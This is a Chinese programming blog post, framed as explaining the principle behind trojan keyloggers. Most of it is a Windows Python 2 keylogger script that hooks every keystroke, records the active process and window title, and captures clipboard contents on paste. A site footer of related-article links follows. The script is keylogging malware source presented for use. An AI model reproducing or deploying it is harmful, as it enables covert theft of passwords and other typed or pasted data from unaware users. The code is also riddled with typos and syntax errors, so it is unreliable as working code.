Python告诉你木马程序的键盘记录原理


Posted in Python onFebruary 02, 2019

前言

Python keylogger键盘记录的功能的实现主要利用了pythoncom及pythonhook,然后就是对windows API的各种调用。Python之所以用起来方便快捷,主要归功于这些庞大的支持库,正所谓"人生苦短,快用Python"。

# -*- coding: utf-8 -*-
from ctypes inport
import pythoncom
import pyHook
import win32clipboard
user32 = winddll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = Note
def get_current_process():
#获取最上层的窗句柄
hwnd = user32.GetForegroundWindow()
#获取进程ID
pid = c_ulong(0)
user32. GetwindowThreadProcessId(hwnd,byref(pid))
#将进程ID存入变量中
process_ = "%d" % pid.value
#申请内存
executable = create_string_buffer("\x00"*522)
h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)
psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
#读取窗口标题
windows_title = create_string_buffer("\x00",512)
length = user32.GetWindowTextA(hwnd,byref(windows.title),512)
#打印
print
print "[PID:%s-%s-%s]" %(process_id,executable.value,windows_title.value)
print
#关闭handles
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)
#关闭键盘监听事件函数
def KeyStroke(event):
global current_window
#检测目标窗口是否转移(换了其他窗口就监听新窗口)
if event,WindowName !=current_window:
current_window = event.WindowName
#函数调用
get_current_process()
#检测击键是否常规按键(非组合键等)
if event.Ascii>32 and enent .Ascii <127 :
print chr(event.Ascii),
else:
#如果发现ctrl + V事件,就粘贴板内容记录下来
if event.Key == "V"
win32clipboard.OpenClipdoard()
pasted_value = win32clipdoard. GetClipdoardData()
win32clipdoard.CloseClipboard()
print "[PASTE]-%s" %(pasted_value),
else:
print "[%s]" %event.Key,
循环监听下一个事件
return True
#创建并注册hook管理器
kl = pyHook.HookManager()
kl.KeyDown = KeyStroke
#注册hook并兴趣
kl.hookKeyboard()
pythoncom.PumpMessages()

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对三水点靠木的支持。如果你想了解更多相关内容请查看下面相关链接

Python 相关文章推荐
python安装与使用redis的方法
Apr 19 Python
python下如何查询CS反恐精英的服务器信息
Jan 17 Python
Python编程实现的图片识别功能示例
Aug 03 Python
python ansible服务及剧本编写
Dec 29 Python
了解不常见但是实用的Python技巧
May 23 Python
Python实现K折交叉验证法的方法步骤
Jul 11 Python
django之状态保持-使用redis存储session的例子
Jul 28 Python
pandas实现将日期转换成timestamp
Dec 07 Python
Pycharm最新激活码2019(推荐)
Dec 31 Python
使用python turtle画高达
Jan 19 Python
Selenium执行完毕未关闭chromedriver/geckodriver进程的解决办法(java版+python版)
Dec 07 Python
python 自动识别并连接串口的实现
Jan 19 Python
Python实现DDos攻击实例详解
Feb 02 #Python
Python实现SQL注入检测插件实例代码
Feb 02 #Python
Django uwsgi Nginx 的生产环境部署详解
Feb 02 #Python
python实现一个简单的udp通信的示例代码
Feb 01 #Python
Python读取指定日期邮件的实例
Feb 01 #Python
Python 利用切片从列表中取出一部分使用的方法
Feb 01 #Python
对pandas通过索引提取dataframe的行方法详解
Feb 01 #Python
You might like
php如何调用webservice应用介绍
2012/11/24 PHP
php实现12306余票查询、价格查询示例
2014/04/17 PHP
两千行代码的PHP学习笔记汇总
2014/10/05 PHP
php实现TCP端口检测的方法
2015/04/01 PHP
javascript 获取select下拉列表值的代码
2009/09/07 Javascript
javaScript复制功能调用实现方案
2012/12/13 Javascript
JavaScript脚本判断蜘蛛来源的方法
2015/09/22 Javascript
Vue.js基础知识汇总
2016/04/27 Javascript
简单实现轮播图效果的实例
2016/07/15 Javascript
浅析Javascript ES6中的原生Promise
2016/08/25 Javascript
jstree创建无限分级树的方法【基于ajax动态创建子节点】
2016/10/25 Javascript
ES6中Math对象的部分扩展
2017/02/20 Javascript
js实现登录框鼠标拖拽效果
2017/03/09 Javascript
jQuery extend()详解及简单实例
2017/05/06 jQuery
小程序server请求微信服务器超时的解决方法
2019/05/21 Javascript
详解vue父子组件关于模态框状态的绑定方案
2019/06/05 Javascript
JS实现点击生成UUID的方法完整实例【基于jQuery】
2019/06/12 jQuery
微信小程序身份证验证方法实现详解
2019/06/28 Javascript
使用p5.js临摹动态图片
2019/11/04 Javascript
详解Nuxt.js 实战集锦
2019/11/19 Javascript
python根据距离和时长计算配速示例
2014/02/16 Python
举例讲解Python面相对象编程中对象的属性与类的方法
2016/01/19 Python
numpy自动生成数组详解
2017/12/15 Python
windows下cx_Freeze生成Python可执行程序的详细步骤
2018/10/09 Python
Django之使用celery和NGINX生成静态页面实现性能优化
2019/10/08 Python
pytorch实现特殊的Module--Sqeuential三种写法
2020/01/15 Python
Python爬虫爬取杭州24时温度并展示操作示例
2020/03/27 Python
html5-Canvas可以在web中绘制各种图形
2012/12/26 HTML / CSS
美国内衣品牌:Leonisa
2016/08/14 全球购物
通信工程专业女生个人求职信
2013/09/21 职场文书
实习生自荐信范文
2013/11/13 职场文书
党支部书记岗位责任制
2014/02/11 职场文书
十佳标兵事迹材料
2014/08/18 职场文书
2015大学生实训报告
2014/11/05 职场文书
培训心得体会怎么写
2016/01/25 职场文书
Tomcat执行startup.bat出现闪退的原因及解决办法
2022/04/20 Servers